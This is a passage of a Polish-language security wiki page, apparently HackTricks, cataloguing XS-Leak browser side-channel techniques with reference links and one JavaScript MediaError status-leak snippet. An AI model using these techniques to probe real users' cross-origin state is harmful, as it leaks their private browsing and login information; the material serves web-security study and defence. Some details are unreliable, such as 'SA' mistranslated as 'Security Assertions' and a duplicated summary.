|
|
|
- **Inclusion Methods**: HTML Elements
|
|
- **Detectable Difference**: Status Code
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
- **Summary:** Żądania, które kończą się błędem, nie mogą być scalane.
|
|
- **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
|
|
|
|
Technika ta została znaleziona w tabeli w wspomnianym dokumencie, ale nie znaleziono opisu techniki. Możesz jednak znaleźć kod źródłowy sprawdzający to w [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
|
|
|
|
### Empty Page Leak
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
- **Summary:** Puste odpowiedzi nie tworzą wpisów czasowych zasobów.
|
|
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
|
|
|
|
Atakujący może wykryć, czy żądanie zakończyło się pustym ciałem odpowiedzi HTTP, ponieważ **puste strony nie tworzą wpisu wydajności w niektórych przeglądarkach**.
|
|
|
|
### **XSS-Auditor Leak**
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
- **Summary:** Używając XSS Audytora w Asercjach Bezpieczeństwa, atakujący mogą wykrywać konkretne elementy stron internetowych, obserwując zmiany w odpowiedziach, gdy skonstruowane ładunki wyzwalają mechanizm filtrowania audytora.
|
|
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
|
|
|
|
W Asercjach Bezpieczeństwa (SA) XSS Auditor, pierwotnie zaprojektowany w celu zapobiegania atakom Cross-Site Scripting (XSS), może paradoksalnie być wykorzystywany do wycieku wrażliwych informacji. Chociaż ta wbudowana funkcja została usunięta z Google Chrome (GC), nadal jest obecna w SA. W 2013 roku Braun i Heiderich wykazali, że XSS Auditor mógł nieumyślnie blokować legalne skrypty, prowadząc do fałszywych pozytywów. Na tej podstawie badacze opracowali techniki wydobywania informacji i wykrywania konkretnych treści na stronach z innego źródła, koncepcji znanej jako XS-Leaks, pierwotnie zgłoszonej przez Teradę i rozwiniętej przez Heyesa w poście na blogu. Chociaż te techniki były specyficzne dla XSS Audytora w GC, odkryto, że w SA strony zablokowane przez XSS Audytora nie generują wpisów w API wydajności, ujawniając metodę, dzięki której wrażliwe informacje mogą nadal być wyciekane.
|
|
|
|
### X-Frame Leak
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Header
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
|
|
- **Summary:** Zasób z nagłówkiem X-Frame-Options nie tworzy wpisu czasowego zasobów.
|
|
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
|
|
|
|
Jeśli strona **nie jest dozwolona** do **renderowania** w **iframe**, nie tworzy **wpisu wydajności**. W rezultacie atakujący może wykryć nagłówek odpowiedzi **`X-Frame-Options`**.\
|
|
To samo dzieje się, jeśli używasz tagu **embed**.
|
|
|
|
### Download Detection
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Header
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
- **Summary:** Pobrania nie tworzą wpisów czasowych zasobów w API wydajności.
|
|
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
|
|
|
|
Podobnie jak w opisanym XS-Leak, **zasób, który jest pobierany** z powodu nagłówka ContentDisposition, również **nie tworzy wpisu wydajności**. Ta technika działa we wszystkich głównych przeglądarkach.
|
|
|
|
### Redirect Start Leak
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Redirect
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
- **Summary:** Wpis czasowy zasobów ujawnia czas rozpoczęcia przekierowania.
|
|
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
|
|
|
|
Znaleźliśmy jeden przypadek XS-Leak, który wykorzystuje zachowanie niektórych przeglądarek, które rejestrują zbyt wiele informacji dla żądań z innego źródła. Standard definiuje podzbiór atrybutów, które powinny być ustawione na zero dla zasobów z innego źródła. Jednak w **SA** możliwe jest wykrycie, czy użytkownik jest **przekierowywany** przez stronę docelową, zapytując API **Performance API** i sprawdzając dane czasowe **redirectStart**.
|
|
|
|
### Duration Redirect Leak
|
|
|
|
- **Inclusion Methods**: Fetch API
|
|
- **Detectable Difference**: Redirect
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
- **Summary:** Czas trwania wpisów czasowych jest ujemny, gdy występuje przekierowanie.
|
|
- **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
|
|
|
|
W GC, **czas trwania** dla żądań, które kończą się **przekierowaniem**, jest **ujemny** i można go w ten sposób **rozróżnić** od żądań, które nie kończą się przekierowaniem.
|
|
|
|
### CORP Leak
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Header
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
- **Summary:** Zasób chroniony przez CORP nie tworzy wpisów czasowych zasobów.
|
|
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
|
|
|
|
W niektórych przypadkach, **wpis nextHopProtocol** może być użyty jako technika wycieku. W GC, gdy nagłówek **CORP** jest ustawiony, nextHopProtocol będzie **pusty**. Zauważ, że SA w ogóle nie utworzy wpisu wydajności dla zasobów z włączonym CORP.
|
|
|
|
### Service Worker
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: API Usage
|
|
- **More info**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
|
|
- **Summary:** Wykryj, czy zarejestrowano serwis worker dla konkretnego źródła.
|
|
- **Code Example**:
|
|
|
|
Serwis worker to kontekst skryptu wywoływanego przez zdarzenia, który działa w danym źródle. Działa w tle strony internetowej i może przechwytywać, modyfikować i **buforować zasoby**, aby stworzyć offline'ową aplikację webową.\
|
|
Jeśli **zasób buforowany** przez **serwis worker** jest dostępny przez **iframe**, zasób zostanie **załadowany z pamięci podręcznej serwis worker**.\
|
|
Aby wykryć, czy zasób został **załadowany z pamięci podręcznej serwis worker**, można użyć **Performance API**.\
|
|
Można to również zrobić za pomocą ataku czasowego (sprawdź dokument, aby uzyskać więcej informacji).
|
|
|
|
### Cache
|
|
|
|
- **Inclusion Methods**: Fetch API
|
|
- **Detectable Difference**: Timing
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
|
|
- **Summary:** Możliwe jest sprawdzenie, czy zasób został zapisany w pamięci podręcznej.
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
|
|
|
|
Korzystając z [Performance API](xs-search.md#performance-api), możliwe jest sprawdzenie, czy zasób jest buforowany.
|
|
|
|
### Network Duration
|
|
|
|
- **Inclusion Methods**: Fetch API
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
|
|
- **Summary:** Możliwe jest uzyskanie czasu trwania sieciowego żądania z API `performance`.
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
|
|
|
|
## Error Messages Technique
|
|
|
|
### Media Error
|
|
|
|
- **Inclusion Methods**: HTML Elements (Video, Audio)
|
|
- **Detectable Difference**: Status Code
|
|
- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
|
|
- **Summary:** W Firefoxie możliwe jest dokładne wycieknięcie kodu statusu żądania z innego źródła.
|
|
- **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
|
|
```javascript
|
|
// Code saved here in case it dissapear from the link
|
|
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
|
|
window.addEventListener("load", startup, false)
|
|
function displayErrorMessage(msg) {
|
|
document.getElementById("log").innerHTML += msg
|
|
}
|
|
|
|
function startup() {
|
|
let audioElement = document.getElementById("audio")
|
|
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
|
|
document.getElementById("startTest").addEventListener(
|
|
"click",
|
|
function () {
|
|
audioElement.src = document.getElementById("testUrl").value
|
|
},
|
|
false
|
|
)
|
|
// Create the event handler
|
|
var errHandler = function () {
|
|
let err = this.error
|
|
let message = err.message
|
|
let status = ""
|
|
|
|
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
|
|
// Firefox error.message when the request loads successfully: "Failed to init decoder"
|
|
if (
|
|
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
|
|
message.indexOf("Failed to init decoder") != -1
|
|
) {
|
|
status = "Success"
|
|
} else {
|
|
status = "Error"
|
|
}
|
|
displayErrorMessage(
|
|
"<strong>Status: " +
|
|
status +
|
|
"</strong> (Error code:" +
|
|
err.code +
|
|
" / Error Message: " +
|
|
err.message +
|
|
")<br>"
|
|
)
|
|
}
|
|
audioElement.onerror = errHandler
|
|
}
|
|
```
|
|
Interfejs `MediaError` ma właściwość message, która unikalnie identyfikuje zasoby, które ładują się pomyślnie za pomocą odrębnego ciągu. Atakujący może wykorzystać tę funkcję, obserwując zawartość wiadomości, a tym samym dedukując status odpowiedzi zasobu z innego źródła.
|
|
|
|
### Błąd CORS
|
|
|
|
- **Metody włączenia**: Fetch API
|
|
- **Wykrywalna różnica**: Nagłówek
|
|
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
|
- **Podsumowanie:** W Security Assertions (SA) komunikaty o błędach CORS nieumyślnie ujawniają pełny adres URL przekierowanych żądań.
|
|
- **Przykład kodu**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
|
|
|
|
Ta technika umożliwia atakującemu **wyodrębnienie celu przekierowania z witryny z innego źródła** poprzez wykorzystanie sposobu, w jaki przeglądarki oparte na Webkit obsługują żądania CORS. Konkretnie, gdy **żądanie z włączonym CORS** jest wysyłane do docelowej witryny, która wydaje przekierowanie w oparciu o stan użytkownika, a przeglądarka następnie odrzuca żądanie, **pełny adres URL celu przekierowania** jest ujawniany w komunikacie o błędzie. Ta podatność nie tylko ujawnia fakt przekierowania, ale także ujawnia punkt końcowy przekierowania oraz wszelkie **wrażliwe parametry zapytania**, które mogą zawierać.
|
|
|
|
### Błąd SRI
|
|
|
|
- **Metody włączenia**: Fetch API
|
|
- **Wykrywalna różnica**: Nagłówek
|
|
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
|
- **Podsumowanie:** W Security Assertions (SA) komunikaty o błędach CORS nieumyślnie ujawniają pełny adres URL przekierowanych żądań.
|
|
- **Przykład kodu**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
|
|
|
|
Atakujący może wykorzystać **szczegółowe komunikaty o błędach**, aby dedukować rozmiar odpowiedzi z innego źródła. Jest to możliwe dzięki mechanizmowi Subresource Integrity (SRI), który używa atrybutu integralności do weryfikacji, że pobrane zasoby, często z CDN, nie zostały zmienione. Aby SRI działało na zasobach z innego źródła, muszą być **włączone CORS**; w przeciwnym razie nie podlegają kontrolom integralności. W Security Assertions (SA), podobnie jak w przypadku błędu CORS XS-Leak, komunikat o błędzie może być przechwycony po nieudanym żądaniu fetch z atrybutem integralności. Atakujący mogą celowo **wywołać ten błąd**, przypisując **fałszywą wartość hasha** do atrybutu integralności dowolnego żądania. W SA wynikowy komunikat o błędzie nieumyślnie ujawnia długość zawartości żądanego zasobu. Ta utrata informacji pozwala atakującemu dostrzec różnice w rozmiarze odpowiedzi, otwierając drogę do zaawansowanych ataków XS-Leak.
|
|
|
|
### Naruszenie/Wykrywanie CSP
|
|
|
|
- **Metody włączenia**: Pop-upy
|
|
- **Wykrywalna różnica**: Kod statusu
|
|
- **Więcej informacji**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
|
|
- **Podsumowanie:** Zezwalając tylko na witrynę ofiary w CSP, jeśli próbuje przekierować na inna domenę, CSP wywoła wykrywalny błąd.
|
|
- **Przykład kodu**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
|
|
|
|
XS-Leak może wykorzystać CSP do wykrycia, czy witryna z innego źródła została przekierowana na inną domenę. Ta utrata informacji może wykryć przekierowanie, ale dodatkowo ujawnia domenę celu przekierowania. Podstawowa idea tego ataku polega na **zezwoleniu na domenę docelową na stronie atakującego**. Gdy żądanie jest wysyłane do domeny docelowej, **przekierowuje** na domenę z innego źródła. **CSP blokuje** dostęp do niej i tworzy **raport naruszenia używany jako technika wycieku**. W zależności od przeglądarki, **ten raport może ujawniać lokalizację celu przekierowania**.\
|
|
Nowoczesne przeglądarki nie wskażą adresu URL, na który zostało przekierowane, ale nadal można wykryć, że przekierowanie z innego źródła zostało wywołane.
|
|
|
|
### Cache
|
|
|
|
- **Metody włączenia**: Ramki, Pop-upy
|
|
- **Wykrywalna różnica**: Zawartość strony
|
|
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
|
|
- **Podsumowanie:** Wyczyść plik z pamięci podręcznej. Otwiera stronę docelową, sprawdza, czy plik jest obecny w pamięci podręcznej.
|
|
- **Przykład kodu:**
|
|
|
|
Przeglądarki mogą używać jednej wspólnej pamięci podręcznej dla wszystkich witryn. Niezależnie od ich pochodzenia, możliwe jest ustalenie, czy strona docelowa **zażądała konkretnego pliku**.
|
|
|
|
Jeśli strona ładuje obraz tylko wtedy, gdy użytkownik jest zalogowany, można **unieważnić** **zasób** (tak aby nie był już pamiętany, jeśli był, zobacz więcej informacji w linkach), **wykonać żądanie**, które mogłoby załadować ten zasób i spróbować załadować zasób **z błędnym żądaniem** (np. używając zbyt długiego nagłówka referera). Jeśli załadowanie zasobu **nie wywołało żadnego błędu**, to dlatego, że był **pamiętany**.
|
|
|
|
### Dyrektywa CSP
|
|
|
|
- **Metody włączenia**: Ramki
|
|
- **Wykrywalna różnica**: Nagłówek
|
|
- **Więcej informacji**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
|
|
- **Podsumowanie:** Dyrektywy nagłówka CSP mogą być badane za pomocą atrybutu iframe CSP, ujawniając szczegóły polityki.
|
|
- **Przykład kodu**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
|
|
|
|
Nowa funkcja w Google Chrome (GC) pozwala stronom internetowym na **proponowanie Polityki Bezpieczeństwa Treści (CSP)** poprzez ustawienie atrybutu na elemencie iframe, z dyrektywami polityki przesyłanymi wraz z żądaniem HTTP. Zwykle osadzone treści muszą **autoryzować to za pomocą nagłówka HTTP**, w przeciwnym razie **wyświetlana jest strona błędu**. Jednak jeśli iframe jest już regulowany przez CSP, a nowo proponowana polityka nie jest bardziej restrykcyjna, strona załadowana zostanie normalnie. Ten mechanizm otwiera drogę dla atakującego do **wykrycia konkretnych dyrektyw CSP** strony z innego źródła poprzez identyfikację strony błędu. Chociaż ta podatność została oznaczona jako naprawiona, nasze ustalenia ujawniają **nową technikę wycieku**, zdolną do wykrywania strony błędu, sugerując, że podstawowy problem nigdy nie został w pełni rozwiązany.
|
|
|
|
### **CORP**
|
|
|
|
- **Metody włączenia**: Fetch API
|
|
- **Wykrywalna różnica**: Nagłówek
|
|
- **Więcej informacji**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
|
|
- **Podsumowanie:** Zasoby zabezpieczone Polityką Zasobów Zewnętrznych (CORP) zgłoszą błąd, gdy będą pobierane z niedozwolonego źródła.
|
|
- **Przykład kodu**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
|
|
|
|
Nagłówek CORP jest stosunkowo nową funkcją zabezpieczeń platformy internetowej, która, gdy jest ustawiona, **blokuje żądania cross-origin bez CORS do danego zasobu**. Obecność nagłówka można wykryć, ponieważ zasób chroniony przez CORP **zgłosi błąd podczas pobierania**.
|
|
|
|
### CORB
|
|
|
|
- **Metody włączenia**: Elementy HTML
|
|
- **Wykrywalna różnica**: Nagłówki
|
|
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
|
|
- **Podsumowanie**: CORB może pozwolić atakującym na wykrycie, kiedy **nagłówek `nosniff` jest obecny** w żądaniu.
|
|
- **Przykład kodu**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)
|
|
|
|
Sprawdź link, aby uzyskać więcej informacji na temat ataku.
|
|
|
|
### Błąd CORS w błędnej konfiguracji odbicia pochodzenia <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>
|
|
|
|
- **Metody włączenia**: Fetch API
|
|
- **Wykrywalna różnica**: Nagłówki
|
|
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
|
- **Podsumowanie**: Jeśli nagłówek Origin jest odbity w nagłówku `Access-Control-Allow-Origin`, możliwe jest sprawdzenie, czy zasób jest już w pamięci podręcznej.
|
|
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
|
|
|
W przypadku, gdy **nagłówek Origin** jest **odbity** w nagłówku `Access-Control-Allow-Origin`, atakujący może wykorzystać to zachowanie, aby spróbować **pobierać** **zasób** w trybie **CORS**. Jeśli **błąd** **nie** zostanie wywołany, oznacza to, że został **prawidłowo pobrany z sieci**, jeśli błąd **zostanie wywołany**, to dlatego, że był **dostępny z pamięci podręcznej** (błąd pojawia się, ponieważ pamięć podręczna zapisuje odpowiedź z nagłówkiem CORS zezwalającym na oryginalną domenę, a nie domenę atakującego)**.**\
|
|
Zauważ, że jeśli pochodzenie nie jest odbite, ale użyto znaku wieloznacznego (`Access-Control-Allow-Origin: *`), to nie zadziała.
|
|
|
|
## Technika atrybutów czytelnych
|
|
|
|
### Przekierowanie Fetch
|
|
|
|
- **Metody włączenia**: Fetch API
|
|
- **Wykrywalna różnica**: Kod statusu
|
|
- **Więcej informacji**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
|
|
- **Podsumowanie:** GC i SA pozwalają sprawdzić typ odpowiedzi (opaque-redirect) po zakończeniu przekierowania.
|
|
- **Przykład kodu**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
|
|
|
|
Składając żądanie za pomocą Fetch API z `redirect: "manual"` i innymi parametrami, możliwe jest odczytanie atrybutu `response.type`, a jeśli jest równy `opaqueredirect`, to odpowiedź była przekierowaniem.
|
|
|
|
### COOP
|
|
|
|
- **Metody włączenia**: Pop-upy
|
|
- **Wykrywalna różnica**: Nagłówek
|
|
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
|
|
- **Podsumowanie:** Strony zabezpieczone Polityką Otwieracza Zasobów Zewnętrznych (COOP) zapobiegają dostępowi z interakcji z innego źródła.
|
|
- **Przykład kodu**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
|
|
|
|
Atakujący jest w stanie wydedukować obecność nagłówka Polityki Otwieracza Zasobów Zewnętrznych (COOP) w odpowiedzi HTTP z innego źródła. COOP jest wykorzystywana przez aplikacje internetowe do uniemożliwienia zewnętrznym stronom uzyskiwania dowolnych odniesień do okien. Widoczność tego nagłówka można dostrzec, próbując uzyskać dostęp do odniesienia **`contentWindow`**. W scenariuszach, w których COOP jest stosowana warunkowo, **właściwość `opener`** staje się wyraźnym wskaźnikiem: jest **niezdefiniowana**, gdy COOP jest aktywna, i **zdefiniowana** w jej braku.
|
|
|
|
### Maksymalna długość URL - po stronie serwera
|
|
|
|
- **Metody włączenia**: Fetch API, Elementy HTML
|
|
- **Wykrywalna różnica**: Kod statusu / Zawartość
|
|
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
|
|
- **Podsumowanie:** Wykryj różnice w odpowiedziach, ponieważ długość odpowiedzi przekierowania może być zbyt duża, co powoduje, że serwer odpowiada błędem i generowany jest alert.
|
|
- **Przykład kodu**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
|
|
|
|
Jeśli przekierowanie po stronie serwera używa **danych wejściowych użytkownika w przekierowaniu** i **dodatkowych danych**. Możliwe jest wykrycie tego zachowania, ponieważ zazwyczaj **serwery** mają **limit długości żądania**. Jeśli **dane użytkownika** mają **długość - 1**, ponieważ **przekierowanie** używa **tych danych** i **dodaje** coś **dodatkowego**, spowoduje to wywołanie **błędu wykrywalnego za pomocą zdarzeń błędów**.
|
|
|
|
Jeśli w jakiś sposób możesz ustawić ciasteczka dla użytkownika, możesz również przeprowadzić ten atak, **ustawiając wystarczającą liczbę ciasteczek** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)), więc z **zwiększoną długością odpowiedzi** **prawidłowej odpowiedzi** wywołany zostanie **błąd**. W tym przypadku pamiętaj, że jeśli wywołasz to żądanie z tej samej witryny, `<script>` automatycznie wyśle ciasteczka (więc możesz sprawdzić błędy).\
|
|
Przykład **cookie bomb + XS-Search** można znaleźć w zamierzonym rozwiązaniu tego opisu: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
|
|
|
|
`SameSite=None` lub bycie w tym samym kontekście jest zazwyczaj wymagane do tego typu ataku.
|
|
|
|
### Maksymalna długość URL - po stronie klienta
|
|
|
|
- **Metody włączenia**: Pop-upy
|
|
- **Wykrywalna różnica**: Kod statusu / Zawartość
|
|
- **Więcej informacji**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
|
- **Podsumowanie:** Wykryj różnice w odpowiedziach, ponieważ długość odpowiedzi przekierowania może być zbyt duża, aby można było zauważyć różnicę.
|
|
- **Przykład kodu**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
|
|
|
Zgodnie z [dokumentacją Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), maksymalna długość URL w Chrome wynosi 2MB.
|
|
|
|
> Ogólnie rzecz biorąc, _platforma internetowa_ nie ma ograniczeń co do długości adresów URL (chociaż 2^31 jest powszechnym limitem). _Chrome_ ogranicza adresy URL do maksymalnej długości **2MB** z powodów praktycznych i aby uniknąć problemów z odmową usługi w komunikacji międzyprocesowej.
|
|
|
|
Dlatego jeśli **adres URL przekierowania jest większy w jednym z przypadków**, możliwe jest, aby przekierować z **adresu URL większego niż 2MB**, aby osiągnąć **limit długości**. Gdy to się stanie, Chrome wyświetla stronę **`about:blank#blocked`**.
|
|
|
|
**Widoczna różnica** polega na tym, że jeśli **przekierowanie** zostało **zakończone**, `window.origin` zgłasza **błąd**, ponieważ z innego źródła nie można uzyskać dostępu do tych informacji. Jednak jeśli **limit** został osiągnięty, a załadowana strona to **`about:blank#blocked`**, **`origin`** okna pozostaje tym z **rodzica**, co jest **dostępną informacją.**
|
|
|
|
Wszystkie dodatkowe informacje potrzebne do osiągnięcia **2MB** można dodać za pomocą **hasha** w początkowym adresie URL, aby zostały **użyte w przekierowaniu**.
|
|
|
|
{{#ref}}
|
|
xs-search/url-max-length-client-side.md
|
|
{{#endref}}
|
|
|
|
### Maksymalna liczba przekierowań
|
|
|
|
- **Metody włączenia**: Fetch API, Ramki
|
|
- **Wykrywalna różnica**: Kod statusu
|
|
- **Więcej informacji**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76)
|
|
- **Podsumowanie:** Użyj limitu przekierowań przeglądarki, aby ustalić wystąpienie przekierowań URL.
|
|
- **Przykład kodu**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
|
|
|
|
Jeśli **maksymalna** liczba **przekierowań**, które można śledzić w przeglądarce, wynosi **20**, atakujący może spróbować załadować swoją stronę z **19 przekierowaniami** i ostatecznie **wysłać ofiarę** na testowaną stronę. Jeśli **błąd** zostanie wywołany, oznacza to, że strona próbowała **przekierować ofiarę**.
|
|
|
|
### Długość historii
|
|
|
|
- **Metody włączenia**: Ramki, Pop-upy
|
|
- **Wykrywalna różnica**: Przekierowania
|
|
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
|
|
- **Podsumowanie:** Kod JavaScript manipuluje historią przeglądarki i można uzyskać dostęp do niej za pomocą właściwości length.
|
|
- **Przykład kodu**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
|
|
|
|
**API historii** pozwala kodowi JavaScript na manipulację historią przeglądarki, która **zapisuje odwiedzane przez użytkownika strony**. Atakujący może użyć właściwości length jako metody włączenia: do wykrywania nawigacji JavaScript i HTML.\
|
|
**Sprawdzając `history.length`**, zmuszając użytkownika do **nawigacji** na stronę, **zmieniając** ją **z powrotem** na tę samą domenę i **sprawdzając** nową wartość **`history.length`**.
|
|
|
|
### Długość historii z tym samym URL
|
|
|
|
- **Metody włączenia**: Ramki, Pop-upy
|
|
- **Wykrywalna różnica**: Jeśli URL jest taki sam jak zgadywany
|
|
- **Podsumowanie:** Możliwe jest zgadywanie, czy lokalizacja ramki/pop-upu znajduje się w określonym URL, nadużywając długości historii.
|
|
- **Przykład kodu**: Poniżej
|
|
|
|
